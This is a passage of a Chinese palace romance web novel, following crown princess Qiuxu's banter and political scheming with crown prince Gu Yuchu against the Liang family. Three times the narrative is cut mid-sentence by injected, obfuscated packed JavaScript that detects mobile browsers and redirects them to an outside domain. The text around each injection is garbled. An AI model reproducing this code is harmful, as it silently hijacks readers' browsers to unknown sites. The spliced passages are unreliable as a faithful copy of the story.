之前在枕洲时,秋绪发现这些坊间热门话本,兴奋得两眼放光,让兰心买回来一沓。 包括但不限于《废后成开国女帝》、《和离书还在我梳妆匣,将军已战死漠北》和《族长骂我克夫后,我承包荒山成首富》等等,各种品类应有尽有,完全满足她的杂食土狗品味。 但品味摊开在阳光下,秋绪稍微有点点羞耻,当即扑抢:“要死要死,快还给我!” 顾玉初应声后仰,长臂一扬,将书高高举起,任凭她伸臂也够不着边儿。 偏生美人榻就这么点地方,秋绪情急之下,失了平衡,猝不及防跌入他怀里,飞起来的发梢扫过他的喉结,留下若有还无的一缕清幽香气。 秋绪一愣,条件反射抵住他的胸膛,稍稍一撑,一抬眸就见他挑眉。 她恼羞成怒,一双又圆又亮的杏眼恶狠狠地瞪他,但耳尖的红已经蔓延到脖颈。 太幼稚了吧!狗太子! “好好说话便是,投怀送抱做什么?”顾玉初一手支着下颌,晃了晃话本,笑得肆意。 那副吊儿郎当之态真让人恨得牙痒痒,偏生那懒骨歪得风流,还要假模假样整理一下被她弄乱的襟口。 秋绪满心都是骂他的话,偏偏又不敢说,全都堵在喉咙里,只能气鼓鼓地暗自咬牙切齿。 “你真是小气得很,孤不过瞧瞧你在看什么,何必藏着掖着的?”顾玉初笑一声,而后对着那话本,一字一句的念,“殷九捏住苏婉后颈,迫使她仰头,饮下鹤顶红,忽的瞥见她眼里的恨意,竟俯身去舐她锁骨朱砂痣……” “啊啊啊!”秋绪张牙舞爪地扑过去,“住嘴!不许念!” 顾玉初一手按着她,继续老神在在地念道:“任由那柄匕首刺进他的肋下,却巍然不动,只在她耳边低语道,你永远都是我的……” 如此羞人的句子,他竟能面不改色地念出来! 秋绪尖叫一声,把他们身上盖着的毯子,如撒网捕鱼般往顾玉初头上一罩,而后匆匆跳下美人榻,慌不择路地跑远了。 一大张毯子扑面而来,顾玉初一抬手腕,话本正好挡在昳丽的眉眼处,免于兜头之祸。 紧接着,他一把将毯子掀开,重见天光后,只看到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15484812|168546||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秋绪跑得飞快的背影,好笑道:“啧,连鞋子都不要了。” 秋绪光着脚,一口气跑回了寝殿,然后对着空气狠狠挥拳! 她脸都红了,也不知是羞的还是气的,这狗太子真是个登徒子,爬上她的美人榻,还要念这耳鬓厮磨的句子给她听,可比她自己私下看时灼人得多。 他分明就是仗着她脸皮薄,故意欺负她。 此时,兰心捧着秋绪的鞋子赶来,见她气成这样,关切地问道:“殿下,怎么了?” 她憋了又憋,最终还是受不了,嘹亮地喊了一声:“他臭不要脸!” “听到吗他臭不要脸!” “我总有一天要把他按着锤!” 兰心低头轻笑,也不再多言,只牵着秋绪在梳妆台前坐定,轻柔娴熟将她凌乱的长发理顺,重新梳好发髻。 踏雪从屏风后漫步而来,跳上秋绪的膝盖,团成一团佯装熟睡,大尾巴却在一甩一甩。 等秋绪的情绪终于平静,脑子也逐渐清醒过来,后知后觉地想起今日清晨,梁皇后召她去说话,顾玉初说不定是因为此事才来找她呢。 结果莫名其妙的,一上午睡了两觉,这会儿都已经中午了,那美人榻该改名叫睡美人榻。 待秋绪抱着踏雪从寝殿出来,顾玉初竟然还没有离开,而是在廊下逗弄那总是来找她讨食的画眉。 她暗自忖度,看来他真是因为凤宁宫一事而来,就等着她主动坦白从宽抗拒从严呢。 于是她欲言又止走过去,一番话在肚子里转了一圈,正要开口时,顾玉初突然转眸问:“午时了,吃饭吗?” “吃。”嘴巴比脑子更快的先回答了。 宫人领命而去,即刻开始布菜。 此次所呈上的并非昭明殿秋绪平日所用地午膳,而是紫宸殿厨子精心准备的太子饭。 胭脂鹅,蟹粉狮子头,金丝卷,还有十六样时鲜小菜,直叫秋绪眼花缭乱,垂涎三尺。 珍馐当前,谁还想着汇报的事情?现在就算天塌了,她也要先吃两口再逃命,想罢,便一头栽进美食里。 一刻钟后,美食家秋绪表示,这一餐最好吃的当属八宝麒麟鱼与蟹黄灌汤包。 她左右开弓,脸颊圆鼓鼓得像松鼠,凭一己之力将两大盘清扫一空,然后举起大拇指。 这段时间她已经在昭明殿吃过不少美食,可今日一餐,却仍然可以用“惊艳”二字来形容。 她舔着唇角抬头,杏眼亮晶晶地对顾玉初说:“紫宸殿的饭菜比我这儿的好吃得多!” 之前就听闻太子饭好吃,今日一试,真是鲜得她恨不得将舌头卷着吞下去。 “是吗?”顾玉初神色淡淡,语气波澜不惊,仍是那副兴致索然的模样。 秋绪看着他戳米粒的样子就烦,她都怀疑他常年吃药,可能味觉已经坏掉了,可怜的呢! 她喝完最后一口汤,喝茶净口后,理智重回高地,这才开始将晨间诸事汇报一番。 提起她对梁皇后马后炮说沉船一事时,还偷偷瞄一眼顾玉初的神色,见他面色如常,这才定定心神,继续娓娓道来。 “倒是没想到会碰上梁翊辰,说是书院扩建放假,来找三皇子猎兔子呢。” 她眨眨眼,脑海中瞬间浮现出两位少年俊朗不凡的面容,“说起来,这还是我头一回见到梁翊辰和三皇子呢。” 顾玉初眉梢微挑,执起茶盏:“初见如何?” 此问一出,她的笑意在眼里如涟漪荡漾,唇角都不知道怎么压,嘴巴不负众望地再次走在脑子前面。 “帅啊!可真帅啊!” 17.祸水东引 “帅啊!可真帅啊!” 话一出口,秋绪顿时察觉不妥,急忙斩钉截铁地找补:“——但有那几分姿色又如何?比起殿下,那是远远不及!” 她大义凛然地说罢,直挺挺杵在原地,眼皮偷偷掀他,再掀一丝,原本的伶俐像拗成了个狗狗祟祟的模样。 秋绪这忽上忽下的情商,总是卡在某种玄妙的境地——说错话,然后及时意识到说错话。 就这么小心翼翼地闯了很多祸。 而对面的顾玉初,在听到“姿色”二字时,眼皮微颤,就这么举着半盏未饮的茶,也不动了。 两尊雕像就这么僵持片刻。 秋绪惴惴地想,他这么满脸郑重地若有所思,难道当真在比较那两人样貌?不至于吧殿下,她就是个口嗨颜控,随口一说的话,实在当不得真。 此时,顾玉初的眉眼漫开层层倨傲,终于开了尊口:“有姿色吗?孤已然不记得,他们长相有何称道之处。” 果然。 秋绪眼睛一闭,忍不住牙酸。 男人啊,这莫名的自尊心真够要命,无缘无故总在这些犄角旮旯处犯轴劲儿。 不过她倒是能理解,这些人明里暗里斗了十来年,明面上沾亲带故,但生死相搏的戏码都不知演过多少轮,今儿能说到这份上,已是给足脸面。 秋绪忙顺着话锋滚下坡,满目真诚地再次夸奖道:“可不是么,那两位但凡见了殿下,都得自惭形秽呢。” 这会儿顾玉初终于饮罢那口茶水,杯盏磕在桌案上,抬眼睨她:“太子妃信口开河的本事,倒是愈发精进了。” 秋绪总算晓得该闭嘴了,赶紧缩着脖子装乖,笑吟吟地对他眨眨眼。 还得在他手底下讨生活呢,说几句好话不费银钱,不必动心思,权当给那画眉洒玉米渣,何乐而不为? 至于先前恨得牙痒痒说要锤爆他的话,倒是忘得一干二净了。 话说回清晨时分,凤宁宫的事情,秋绪不禁好奇道:“今儿外头闹得鸡飞狗跳的,殿下倒在我这儿消磨半天,当真不用去前头看看?” 顾玉初眉毛都没动,一本正经道:“太子禁着足呢。” 秋绪猝不及防被茶呛了一口。 这狗太子装什么大尾巴狼呢?这些日子天天往外跑的是谁?现在倒想起来被禁足了。 “运筹帷幄本就不在奔走之劳。”他难得有耐心补了句,语气仍是漫不经心的傲慢冷诮,“养那些谋士幕僚不就该用在刀刃上?难不成摆着当吉祥物?万事都要孤亲力亲为?” 嘶—— 秋绪后知后觉的满心震撼,被他养着当吉祥物的人,不就是她吗? 不对呀,最开始说的不是信息交换吗? 怎么感觉现在被包/养了? 算了,让她“忍辱负重”地被“金屋藏娇”,也不是不行,总比按照系统的任务,让她和顾玉初对线来得强。 这些日子,顾玉初明里闭门谢客,暗地里没少忙活连环杀招。 她想过汪河活不过刑部结案,却没想到他临死前能留下一份梁家都不知道的血手印证词。 那沉船之事众多目击者,闹得御史台沸沸扬扬,兵部那群老狐狸想辩解都实在无从抵赖,且看他们如何推诿扯皮。 而那场暴动,说是盐工烧了仓库,秋绪倒觉得,这火究竟是谁放的尚未可知,而顾玉初必定早有后手,毕竟,这事儿本就是他暗中煽动而起,想来在此之前,他肯定已经留存下不少人证物证,免于闹起来后被毁。 种种迹象皆指向同一个结局——势必要将梁世子从兵部侍郎的位置上拉下马。 他暗中筹谋之事,经历多日酝酿,至今骤然爆发,已然大势初定,纵使她早晨生出反心要告密,也掀不起什么波澜了。 此役,堪称漂亮至极。 所以顾玉初此番前来也并非兴师问罪,秋绪想到此处,也勉强能松口气。 梁世子锒铛入狱,此时梁国公府必然忙作一团,但凡有点门路的亲眷都在奔走打点,当务之急自然是想疏通关系,把他从那死牢里捞出来。 而且大家都心知肚明,梁家必不会坐以待毙,后头多半还会进行报复。 然而,顾玉初瞧着倒是气定神闲,这会儿慢条斯理地倒茶,仿佛根本不担心会落败。 也难怪他能沉得住气,毕竟这次竟然说动魏衡帝出手,以往每逢朝堂风云变幻,这位皇帝总是作壁上观,一旦出了问题,就把太子推出去当挡箭牌。 不知怎的,秋绪眼前再度浮现出梦里之景,林皇后坐在银杏树下喂鱼,波光粼粼的水面倒映着她单薄的身形。 她看上去好憔悴,也好寂寞。 当年若非那一纸诏书,她本该守着西郊那间青瓦白墙的小小书院过平静日子。 她对魏衡帝没有半分儿女情长,也不似梁皇后对权势满怀野心,却被锁在深宫中荒废一生。 这简直像佛前青灯被供在朱门宴,还拿荤腥作供品,末了倒怪菩萨不显灵。 魏衡帝就为了一己私欲,毁掉一个女人的一生,即便是她的两个孩子,锦衣华贵下皆是荆棘险途,走错半步就是万丈深渊。 而他却一路扶摇直上,踩着白骨谈风月。 秋绪一时茫然,难以分辨,到底是她感情用事,爱恨分明毫无城府,还是说,世间恶人如麻,反倒衬得她那些计较成了一种罪过。 顾玉初忽然在桌案上扣手一敲。 “愁眉苦脸想什么呢?” 秋绪回神,蓦然抬头。 “还在琢磨今天的案子吗?”他的声音带着罕见的轻松,似乎今天的心情格外不错,竟主动提出,“许你问三件事,过了这村可没这店。” 秋绪脱口而出:“你更喜欢阿爹还是阿娘?” 顾玉初笑容骤然一滞。 他几乎怀疑自己听错了:“你说什么?” 在这一刹那间,他的面色闪过迷惑不解、震撼非常和难以置信,这辈子就没有人问过他如此僭越的荒唐问题。 然而,在短暂的静默后,顾玉初竟玄而又玄地理解了秋绪这看似风马牛不相及的问题。 这分明是在问他是否还忠于母亲。 “净是问些小孩子才在乎的幼稚东西。”他的好心情全然消失,目光沉沉,旋即轻笑一声,似乎已经无语至极,“孤若说,更厌恶那位父亲,太子妃可满意了?” “既然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15508235|168546||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如此——” 秋绪抬眸,眼里跃动一抹锐利的亮色,“我倒有个主意,殿下不妨听听看。” “陛下不是最爱隔岸观火吗?咱们不妨递本奏陈,就说,三司会审当效仿太祖旧例,让三殿下协理此案,反正他就在刑部当差。” 她顿一下,“再把御史台要求避嫌的折子都压了,只推说陛下要历练他。” 顾玉初觉出些意思来,示意她继续。 “梁家此时火烧眉毛,偏偏主事人是三殿下,殿下猜猜,梁皇后是会指点他徇私枉法,护住亲舅舅,还是大义灭亲,捅母族一刀?” 她往前倾身,压低嗓音,“无论梁皇后抉择保家族,还是保儿子,殿下横竖是不亏的。” 前者招致帝王猜忌,后者引梁家离心。 再压着御史台的避嫌奏章,清流言官自然也会不满——三皇子做得再好,那也是越权,纵他协理的魏衡帝,更要背负识人不明之罪。 且让皇帝和梁家狗咬狗去吧。 秋绪指尖在顾玉初手背轻轻一点,迎着他挑眉的神情,唇角扬起狡黠的弧度:“既然厌恶,殿下何苦总替陛下挡明枪暗箭?合该让他尝尝淋雨的滋味。” 顾玉初反手扣住她手腕,忽地笑出声:“好一招祸水东引!” 秋绪浅浅一挣,没脱开他的桎梏,索性扬眉翘起鼻尖,得意地说:“以后请叫我诸葛秋秋。” 顾玉初指尖划过她掌心,惹得她又要缩手,却被勾住尾指:“原来太子妃不仅在美食方面颇有心得,还能这般搅动风云,是孤小觑了。” “……那还是美食更得我心。” 谋划至此,秋绪难免想起晨间撞见梁翊辰与三皇子策马疾驰的场景,一时感慨道:“梁家出这么大事儿,两个小主子倒快活射猎去了,当真不知人间疾苦。” “哎呀,不对呀!”秋绪突然一激灵,大惊失色,下意识攥紧顾玉初的手,指尖冰凉,“梁世子名义上可是我养父呢,我也是梁家的人呀,把这茬儿忘干净了!” 顾玉初任由她握着,不禁笑道:“要说大义灭亲的手腕,三殿下算什么?还得看太子妃啊。” “这半月我绝不会踏出东宫半步!”思虑半晌,秋绪决然宣布,“若叫梁家人撞见,定然要指着鼻子骂我为何不捞人……” “你说,要不我派人送两床棉被?牢里应该挺冷,这算帮上忙了吧?还是现在就放出风声,说咱们在东宫因为此事大吵一架,你现在押着我不让出门?” 顾玉初没接话,垂眸藏住眼底惊艳跳动的光,他暗自抚过她发抖的指节,对她重压之下爆发出的巨大潜能叹为观止。 ——上回还在嫌她“雨露均沾”的做派黏黏腻腻,如今仔细一瞧,耍的竟全是雷霆雨露皆皇恩的招数。 这便是天赋吗? 然而,秋绪压根没注意到他的眼神,还在紧张兮兮地自说自话: “要不我现下就说已经生病了?等三司会审那日先嚎两嗓子,哭他欺上瞒下自食恶果?” “等砍头那天,三殿下那边诛杀血亲,我这边再当场呕血昏厥表忠孝。” “这样的话,既显得痛心疾首,又全了皇家体面,岂不两全其美?” 18.不速之客 这一番七分造势三分藏锋之法,如教科书一般精准,纵使是顾玉初也难以挑出什么瑕疵。 他饶有兴趣地听着,却见秋绪说着说着,突然没了声响,而是皱皱眉头,咬咬下唇,还伴随几不可闻的叹息,看上去有心事。 他不由好笑:“哪一步谋划得不够周全?” 秋绪摇摇头:“没有。” 而且她也不敢讲。 方才谈及,梁家人或许会斥责她为何不设法捞捞梁世子时,在她脑海中浮现的,竟然是梁翊辰的面容。 ……倒不是说担心被他骂。 平心而论,秋绪对这个看似天真无邪的少年也谈不上有多少恶感,甚至于当初看到他的结局,也有些唏嘘。 老一辈的是是非非恩怨纠葛,无论如何不该全然归咎于孩子身上,纵使血脉里流淌着某些难以言说的“原罪”,至少眼下来看,不过是个尚未褪去真性情的少年郎。 而且她能感觉到,这孩子对养姐确实一片赤诚真心,在梁家人的范畴里已经不可多得。 他送的礼物,也不仅仅是装点场面用的昂贵物件儿,不管是亲自挑选的耳坠朱钗,或是买到街上新出炉糕点,哪怕绕路也要送来,去狩猎之前也说好,若有所获,一定有阿姐一份。 如此种种,都已经偏向于真正亲人之间的亲密,倘若有一日,他知道阿姐背弃梁家,不免要心碎吧。 ——当然,她的立场并未动摇。 她也清楚地知道,越是亲密,就意味着身份暴露的风险越大,决不能让梁翊辰发现任何端倪,后果将不堪设想。 说来讽刺,反观她的来时路,看似优柔寡断,一惊一乍,实则决断皆有,该完成之事,桩桩不落。 此时,一直在仔细观察她的顾玉初冷不丁开口:“你莫不是在想梁家那小子?” 秋绪一愣:“你怎么知道?” 他淡淡道:“你盯着那盘云花糕看很久了。” 太子殿下的面色阴沉似乌云聚集,显然已经非常不好,满脸满脸写着再不哄他就要下雨,就是这般喜怒极形于色。 秋绪赶紧岔开话题:“哎呀,我就是在想,这小子十六岁就能秋闱中举,当真是有这么厉害吗?” “孤怎知。”顾玉初冷冰冰地蹦字儿,而后撇过脸去,只露出冷玉似的侧颜线条,“梁家世代人才辈出,国公府嫡长孙享有最优的教育资源,天纵奇才也不足挂齿。” 秋绪连连点头表赞同:“就是!再天纵奇才又如何?比起殿下,那是远远不及!” 刚说出口,一抬眼便撞进顾玉初酝酿着薄怒的凤眸中,她这才发觉,自己好似敷衍过了头。 偏生他这怒目而视的表情格外新鲜。 不是那种“你去死吧”的怒意,这个人心里不太阳光,真气得要杀人时都在笑——而是“孤也是你能消遣的?”的生气。 眉峰压低唇角紧抿,鲜活灵动得像是被踩着尾巴后炸毛的大猫猫。 顾玉初自由养尊处优,嚣张骄纵惯了,戏弄别人时总透着游刃有余的慵懒和欠揍,哪里受过这种调侃? 秋绪终究没忍住,噗嗤笑出声来。 眼见着顾玉初的表情更是难看,秋绪赶紧伸出手指,讨饶似的戳戳他的手背:“殿下别生气,我给你摸摸手,好不好?” 顾玉初霍然抽手:“放肆!” “是是是,我放肆,我僭越。”她又往前倾身,勾住他尾指,似有若无地蹭他手心,“可殿下你不是挺喜欢的吗……” 他下意识一握,反应过来后又竖起眉头:“你不要以为——” “我就以为!”秋绪正气凛然地打断,一把将他的手按在自己手背上,“咱们合法夫妻,摸一下怎么了?摸!使劲摸!” 话音未落,她自己倒先闷笑出声,半晌竟是趴在桌上埋袖子里吃吃发笑。 顾玉初潦草瞥她一眼便收回视线,实在看不懂秋绪在那笑个什么劲儿,但见她难得主动,便捞起她的手,在纤细的手腕处咬了一口。 秋绪的笑声戛然而止。 她一抬眼,面无表情地看着那排整齐的牙印,虽然没说话,但眼睛骂的很脏:“你是狗吗?顾玉初,你是狗吗!” “哈哈哈!”这一回,轮到顾玉初开始莫名其妙地大笑起来。 闹过后,顾玉初因为秋绪方才的话,蓦然想起梁翊辰书院休沐的事情来。 “梁翊辰那书院,往年这段时间应是弦歌不绝,怎么偏偏这时候要张罗扩建?”他疑惑道,“还正逢雨季,这般大动干戈,甚至遣散学子?” 刚说罢,他又觉得可笑,左右不过是修缮屋子这等寻常小事,怎么值当他费心思。 秋绪听他所言,揉着牙印,陷入沉思。 漱玉书院响当当的名声,便是在皇城根下也不曾黯淡分毫,说是私塾,倒辱没了这份金字招牌。 其中学子们皆出身不凡,非富即贵,身份但凡低些,都不好意思在书案前落座,寒门子弟更是连门环都叩不响。 在秋绪的理解中,这就是京城最著名的重点私立中学。 听着好似没什么特别之处,可梁国公府的嫡长孙梁翊辰也在这里念书,此间深浅自不必说。 由此,不难揣测。 这漱玉书院应是梁家的手笔之一,正是为了往官场输送梁党的新鲜血液。 这书院突然反常,莫非…… 秋绪垂眸,脑子里的疑惑转了几个弯,暗道不会吧?哪里就会有这么巧合的事情? 面对面坐着的两人,各有各的心事暗涌。 不经意间,他们眼波一碰,分明都咂摸出对方心中的猜测,偏生因为没有确凿证据,谁都不肯先开口。 见顾玉初这般,秋绪也不想了,索性往后靠在软枕上,往嘴里丢了一颗蜜饯。 哎,反正也不是她该操心的事儿,已经超出业务范围了,愁多了要生白发的,何苦来哉? 她还想活久一点,多过过混吃混喝晒太阳的安生日子,以及——视线扫过太子青筋微凸的手背,真是怪好看的,下次她也要咬。 之后接连几日,就再没今儿的好晴天。 本就稀薄的太阳光彻底隐匿踪迹,取而代之的是连绵不绝的大雨,笼罩着昭明殿的庭院,带着深秋的刺骨寒意。 秋绪缩在椅子里,裹着斗篷,抱着暖炉,湿冷之意还是丝丝缕缕地往骨子里钻。 话本摊在膝头,也读不进半页。 听说,她的计划正在按部就班地推进。 三皇子终究是难以推脱地接下协理差事,每日在母族的请安折子与御史台的弹劾文书之中艰难摇摆,到底是选择自保还是庇护舅舅。 ——其实也并非难以抉择,他只是妄图寻求一种平衡,以堵住众人之口,父皇母后的、老夫人的,还有那群聒噪不休的臣子们的。 他心中烦闷不已,自己甚至还未行冠礼,为何竟要应对这般棘手之事? 秋绪从系统小电影中看到他狼狈的模样,再次陷入思索,这便是权力吗? 只需要轻轻挑起手指,便能让凤子龙孙都如提线木偶般惶然作态? 怪道这么多人削尖了脑袋也要往上挤。 她收了话本,静静地看着廊下的雨帘发呆。 忽然想起半月前,在马车里,窗外亦是这般的大雨滂沱,她缩在绒毯里,望着顾玉初撩起锦帘,随意将手探进雨幕。 烟翠山色与朦胧雨意,衬得他侧脸如画,她瞧着心跳都漏了两拍,到现在也没忘记那一幕。 或许是因为事务过于繁忙,自那日后,她就再没见过顾玉初了。 又或许是因为积水会脏了爪爪,连踏雪也没有再来,甚至连那总是来讨食的小画眉都不见踪影,仿佛整个世界都被这雨困在寂静之中。 就在她出神时,竟来了一位不速之客。 兰心轻步到她跟前,附耳低语:“梁家小少爷巳时末就在偏殿里候着,求见太子妃,看着是冒雨来的呢。” 秋绪一惊,方才的倦怠之意消散殆尽。 看来,她对于他的判断果然无误,可如今这境地,她又能如何呢? “我不能与他见面。”秋绪轻叹一声,“不论他想让我做什么,我都没办法答应他。” “张公早前便说殿下身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15519545|168546||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体不适,正在休息,已经回绝过一次了。”兰心给她递了一杯温茶,“可梁少爷依旧不肯离开。” 秋绪一时犹疑,望向窗外喧嚣的雨,兰心观察她的面色,问道:“殿下要去见梁少爷吗?” “不去。”她缓缓摇头,“不见面,反而对他更好,我已经不是……我已经帮不了他了。” 秋绪凑至兰心耳畔,轻声嘱咐数句,兰心领命,颔首后匆匆寻张总管去了。 而后,她还是不大放心,执了把油纸伞便往偏殿而去,抵达后将身形隐于廊柱后方,静悄悄地听着张总管与梁翊辰的交谈。 张总管向来慈眉善目,哪怕是对着梁家人,也礼貌客气得挑不出错处:“梁小少爷且回吧,这雨再落下去,怕是要伤及贵体安康。” “多谢张公,可张公深知我家处境,”梁翊辰的脊背绷得笔直,言辞却恳切,“家父突遭变故,我实在放心不下阿姐,此番前来,只是想亲瞧她一眼,还望张公通传一声。” 秋绪从梁翊辰的声音里清晰地察觉到某种沉重与沙哑,与上回那满是少年人意气风发的洪亮声音截然不同。 显然,父亲入狱的事情,对梁翊辰的打击非常大,如今他像是在一夜长大,却染上成年人无可奈何的疲惫与憔悴。 不过他所表现出来的言行举止,却比秋绪预想的要冷静沉稳得多。 “老奴自是明白,梁小少爷体恤太子妃殿下的一片苦心。” 张总管微微躬身,对梁翊辰毕恭毕敬地说,“只不过,太子妃近些天来,日日都要饮下安神汤方可入睡,今早连参茸粥都……” 他停了停,摇摇头道:“老奴早前说太子妃卧榻调养,暂不见客,绝非推诿之词。” 梁翊辰听罢,神色陡然焦急,连忙追问道:“张公,我阿姐究竟怎么了?她还好吗?” “梁小少爷,令尊之事,太子妃的忧思,并不比您少半分。”张总管长长叹口气,“想必您也听闻了太子妃在枕洲的事情吧?” 梁翊辰眼眸一颤,并未接话。 “那汪知州妄图攀咬梁世子,引得太子妃勃然大怒,为了护住梁世子的清白,竟直接破了仓库之锁。太子妃这份拳拳孝心,日月可鉴。” 说到此处,张总管语气一顿,面上流露出惋惜与无奈:“谁能料到后来……” “太子妃气急攻心,接连痛哭,连嗓子都哑了,甚至因此与太子殿下产生龃龉,如此身心俱疲,方卧病在床。” 张总管说得太深入人心,躲在柱子后面的秋绪听罢都有些心虚,只不过这举止行径,确实是是最贴合“梁家养女”身份的做派了。 梁翊辰双手紧攥着衣袖,满脸皆是自责。 他回忆起那日在凤宁宫与秋绪相见,彼时她整个人就心事沉沉,数次对他欲言又止,必是想和她说说话。 可他那日偏要同三殿下去跑马射猎。 梁翊辰肩头微震,垂眸拱手道:“烦请张公转告阿姐,就说……家中诸事,自会妥善处置,莫要过度挂怀。 ” 张总管哪敢受礼,连连退让回礼:“梁小少爷客气了,此皆老奴分内之事。” 直到梁翊辰离开偏殿,秋绪才悄悄走出来,看着他蓦然显得孤寂萧索的背影,缄默无言。 未过多久,秋绪望着侍从不断抬进院子里的药材箱子,轻轻叹气:“何苦送这些……” 都是梁翊辰遣人送来的,说是听闻太子妃生病,给她滋补身体所用,里面还夹着一张字条: “阿姐往昔逢那秋雨缠扰,总咳嗽不止,务必记得取雪菊与川贝调养,稍解这烦人之恙。 心病难医,唯愿珍重身体。” 秋绪暗暗凝眉,原是她想岔了,梁翊辰根本没有任何指责求助的意思,是真的想看看阿姐是否安好…… 只是,他的这份心意,如同无根之萍,又将漂泊到何处去呢? 心软,于这纷繁世间,不过是无用的温柔。 她也要先活下去啊。 “都收进库房吧。”最终,她蓦然转身,“让张总管拟份谢礼单子,记得添两刀漱雪笺纸,辰哥儿打小儿,就最挑笔墨了。” 19.梁家反击 梁翊辰或许只是唯一的特例。 哪怕心中恻隐,秋绪却依然神智清明。 她还记得,新婚夜时梁家那八位贴身侍女近乎恐怖的控制欲,哪怕到了今天,她的脑海里始终悬着一根紧绷的弦,时时刻刻警醒着她不能再落入梁家的掌心。 若是长久困于这般无形却无处不在的软控制中,她怕是迟早要疯。 而太子此番明目张胆的宣战,她半隐于他身后,仅仅一击便让梁世子落马,梁家的其他人又岂会轻易放过他们? 淅淅沥沥的大雨仍然不肯停歇,也不肯给人间哪怕一丝的清明。 顾玉初始终未再露面,待到秋绪该吃药时,他倒是谴了张总管捧着那小瓷瓶来,嘘寒问暖了一番不痛不痒的体己话。 虽然秋绪没有太多外出需求,可现在,她连在院里溜达都成了难事儿。 那银杏树下的池子,雨水溢出,鲤鱼都游了出来,让宫人们一通好抓,而她的秋千也玩儿不得,成日湿漉漉地滴着水,一摸连手都要结冰。 纵然兰心天天烘烤被褥,但到夜里,她钻进被窝时,仍感觉到被面沁出的潮湿阴冷。 秋绪无奈,看来这雨水不只是落在天地间,更是下在她心里,牵连着脏腑都浸透这深秋的寒意。 再不出太阳,她这条咸鱼都要发霉了。 反正无处可去,秋绪便窝在榻上,让系统给她放电影看。 她就像是古旧影院里唯一的看客,不停地切换着画面,透过屏幕去看市井喧嚣与朝堂暗涌……然后她反应过来,这和上辈子躺病床上刷手机有什么区别? 此时之大魏,四野八方水患肆虐。 连秋绪所在的昭明殿都被连日大雨浸得渗水,更别提乡野街坊的惨淡景象。 这场雨自八月底就开始下,九月降水更甚,天空像是被捅破个窟窿般雨水不绝,偶尔放晴已是难得。到了十月,各地河床接连决堤,汛期形式愈发严峻。 朝廷即刻组织赈灾,辎重车满载粮食棉服药材,沿着水路和陆路,源源不断地运往灾区。 在余桑府临阳县却发生一件惨事。 夜半时分,满载粳米的赈灾船顶着狂风驶入临阳渡口时,暴雨引发溃堤,上游的泥沙轰然塌方,眨眼间便将河道淤堵成泥滩。 船工们挖了一半,遇上涨潮,无奈之下改道民堰,又不幸撞上暗桩,撞出个大窟窿,赈灾新米全泡汤了。 就在这节骨眼儿上,朝堂风云突变。 御史台突然发起猛烈攻势,告工部郎中徐斐借采购赈灾物资之便,贪墨公款,导致赈灾工作受阻延误。 而徐斐,正是太子在工部的旧部。 正如三皇子在刑部一样,诸位皇子自少年起,皆会去各部学习历练。 大皇子在礼部履职,而顾玉初还是二皇子时,一直在工部当差,曾经还穿着短打下水丈量过河道,自然同徐斐感情深厚,徐斐也是他一手提拔的政务嫡系。 与此同时,临阳的码头边,已有无法行船的商人骂骂咧咧:“都怪那姓徐的!仗着东宫撑腰,克扣的钱财都够修多少堤坝了?” 话头被七嘴八舌传开,未过多久,连坊间的小童都在嚼舌根:“听说太子爷要保贪官,才害得运河堵船了呢。” 那徐斐,秋绪是见过的,半月前在枕洲仓时,就是他率先提议砸锁。 或许正因如此,梁家要破太子一系的工部堡垒,再难寻比他更合适的切口——还有谁比这出头鸟更适合祭旗? 这一串连招,快准狠,直冲顾玉初而去。 细细一看,这招式还透着熟悉之感,很有些以子之矛,攻子之盾的意思。 顾玉初的反应也很快,朝上当场认下失察之过,自请罚俸三年,戴罪彻查。梁皇后虽面色铁青,但最终还是和魏衡帝一同点了头。 这一番波折下来,梁家固然损失惨重,顾玉初也未能幸免于难。 秋绪揉着发胀的太阳穴,关闭系统屏幕。 哎呀,实在看得两眼发昏,当真是剪不断理还乱,这都叫什么事儿。 算算时间,又到了她该吃药的时候,可眼下夜幕已沉,顾玉初却仍未遣人将药送来。 她站起身来,松了松肩胛骨,忽然听见外头的响动声,下意识朝大门张望。 待那脚步声近了,她才惊觉那是来剪灯芯儿的桃溪,于是吩咐道:“往紫宸殿递个消息,问问太子何时回来?” “张公说,应是快了。”桃溪去后回禀道,“值守的侍卫说,太子殿下近日来,清晨卯时不到就离开,直到这会儿才回宫。” 啧,早说太子这位置不好做呢,工作难责任重,加班还加得那么狠。 窗外的磅礴大雨不知何时转成了濛濛细雨,她想想便说:“那我去紫宸殿瞧瞧吧。” 反正今夜得等他送药,不如早些去候着。 说起来,她还从未去过紫宸宫,今夜便当认认路吧。 